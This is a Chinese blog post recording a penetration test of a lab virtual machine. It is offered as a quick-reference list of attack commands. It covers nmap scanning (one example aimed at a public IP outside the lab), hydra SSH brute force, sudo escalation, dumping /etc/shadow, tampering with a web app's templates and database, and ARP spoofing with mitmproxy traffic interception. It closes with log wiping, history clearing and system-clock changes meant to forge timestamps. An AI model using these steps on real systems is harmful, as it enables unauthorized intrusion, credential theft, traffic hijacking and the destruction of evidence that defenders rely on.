当前位置: 首页 > article >正文

记录一次渗透测试/常用命令

渗透测试常用命令速览:从扫描到提权再到流量劫持

在渗透测试中,命令行工具是我们的得力助手。本文总结了我最近在测试虚拟机靶机(IP: 192.168.73.129)时用到的主要命令,涵盖网络扫描、暴力破解、权限提升、数据修改和流量劫持等环节。每个命令都附带介绍和使用场景,帮助你在类似场景中快速上手。
请添加图片描述

网络扫描与信息收集

  • nmap -sV -p 端口 IP
    介绍:Nmap 是强大的网络扫描工具,-sV 探测服务版本,-p 指定端口。
    用途:识别目标开放端口和服务版本,为后续攻击提供依据。
    示例:nmap -sV -p 22,25,80,110,443,3306,8080 101.43.26.14
    输出显示目标运行 OpenSSH 9.6p1 和 MySQL 8.0.39。

  • nmap -p- IP
    介绍:扫描目标所有 65535 个 TCP 端口。
    用途:全面探测开放端口,避免遗漏非标准服务。
    示例:nmap -p- 192.168.73.129
    发现 22 和 8080 端口开放。

  • nmap -sn 网段
    介绍:执行 ping 扫描,探测活跃主机。
    用途:发现内网中的其他目标。
    示例:nmap -sn 192.168.73.0/24

  • arp -a
    介绍:显示 ARP 缓存,列出局域网内的 IP 和 MAC 地址。
    用途:了解网络拓扑,定位潜在目标。
    示例:arp -a
    发现网关 192.168.73.2 和主机 192.168.73.130

暴力破解

  • hydra -L 用户文件 -P 密码文件 服务://IP
    介绍:Hydra 是一个密码破解工具,支持多种协议(如 SSH、MySQL)。
    用途:尝试弱密码登录目标服务。
    示例:hydra -L users.txt -P passwords.txt ssh://192.168.73.129
    成功找到 yohomi:123456

系统访问与提权

  • ssh 用户@IP
    介绍:通过 SSH 远程登录目标。
    用途:使用已知凭据进入系统。
    示例:ssh yohomi@192.168.73.129

  • id
    介绍:显示当前用户的 UID、GID 和组信息。
    用途:确认登录后的权限。
    示例:id
    输出:uid=0(root) gid=0(root)

  • sudo -l
    介绍:列出当前用户可执行的 sudo 命令。
    用途:检查是否能提权。
    示例:sudo -l
    输出显示 root 可运行所有命令。

  • sudo su
    介绍:以 root 身份启动 shell。
    用途:从普通用户提权至 root。
    示例:sudo su

  • find / -perm -u=s -type f 2>/dev/null
    介绍:查找具有 SUID 权限的可执行文件。
    用途:寻找潜在的提权点。
    示例:find / -perm -u=s -type f 2>/dev/null

数据收集

  • cat /etc/passwdcat /etc/shadow
    介绍:查看用户列表和密码哈希。
    用途:提取凭据进行离线破解。
    示例:cat /etc/shadow

  • find / -name "*关键字*" 2>/dev/null
    介绍:搜索指定文件名的文件,忽略权限错误。
    用途:定位敏感文件或项目文件。
    示例:find / -name "*.php" -o -name "*.html" 2>/dev/null
    找到 /home/yohomi/Desktop/Simple_forum/templates/

  • netstat -tuln
    介绍:列出监听的网络端口。
    用途:发现运行的服务。
    示例:netstat -tuln
    显示 8080 端口监听。

修改网页数据

  • nano 文件路径
    介绍:编辑文本文件。
    用途:直接修改网页模板或配置文件。
    示例:nano /home/yohomi/Desktop/Simple_forum/templates/admin/dashboard.html

  • curl http://IP:端口
    介绍:发送 HTTP 请求并查看响应。
    用途:验证网页修改效果。
    示例:curl http://192.168.73.129:8080

  • sqlite3 数据库文件
    介绍:访问 SQLite 数据库。
    用途:修改动态网页的数据。
    示例:sqlite3 database.db
    命令:UPDATE posts SET content = 'Modified by Grok' WHERE id = 1;

流量劫持

  • arpspoof -i 接口 -t 目标IP 网关IP
    介绍:执行 ARP 欺骗,伪装成目标或网关。
    用途:拦截局域网流量。
    示例:arpspoof -i ens33 -t 192.168.73.130 192.168.73.129

  • echo 1 > /proc/sys/net/ipv4/ip_forward
    介绍:启用 IP 转发。
    用途:支持流量透传。
    示例:echo 1 > /proc/sys/net/ipv4/ip_forward

  • mitmproxy -p 端口 --mode transparent
    介绍:启动透明代理,拦截和修改流量。
    用途:实时篡改 HTTP 响应。
    示例:mitmproxy -p 8080 --mode transparent -s modify.py

  • iptables -t nat -A PREROUTING -i 接口 -p tcp --dport 端口 -j REDIRECT --to-ports 新端口
    介绍:配置 NAT 规则,重定向流量。
    用途:将目标流量导向代理。
    示例:iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 8080 -j REDIRECT --to-ports 8080

痕迹清理

  • echo "" > /var/log/日志文件
    介绍:清空指定日志文件。
    用途:删除登录或操作记录。
    示例:echo "" > /var/log/auth.log

  • history -c
    介绍:清除当前会话的命令历史。
    用途:防止命令记录被查看。
    示例:history -c

  • truncate -s 0 /var/log/lastlog
    介绍:将文件大小截断为 0。
    用途:清除历史登录记录。
    示例:truncate -s 0 /var/log/lastlog

  • date -s "时间"
    介绍:修改系统时间。
    用途:伪造操作时间戳。
    示例:date -s "2025-03-27 00:00:00"


http://www.kler.cn/a/612624.html

相关文章:

  • 系统与网络安全------网络应用基础(6)
  • 【力扣hot100题】(005)三数之和
  • (Kotlin)Android 自定义蓝牙扫描动画:多波浪扩散效果
  • 初阶8 list
  • [力扣每日一练]关于MySQL和pandas的正则表达式应用
  • 大文件版本管理git-lfs
  • 第 7 章 | Solidity 合约安全工具全指南:Slither、Echidna、Foundry 实战解析
  • 小程序中过滤苹果设备中的表情(即 emoji)
  • TCP 的 time_wait 有什么作用
  • React 18 核心技术深度解析:从并发渲染到异步数据流优化
  • NLP高频面试题(二十)——flash attention原理
  • vllm 离线推理Qwen2.5-VL-Instruct,API部署,支持max_pixels
  • WPF ContentPresenter详解
  • 机器人能否回到原点 - 简单
  • OpenHarmony NativeC++应用开发speexdsp噪声消除案例
  • 基于动态光影融合的缺陷实时检测和材质量化方法,并且整合EventPS、VMNer和EvDiG
  • “十五五”时期航空弹药发展环境分析
  • 【Portainer】Docker可视化组件安装
  • 人工智能与无人机:无人机的进步与应用技术详解
  • 『不废话』之大模型性能评估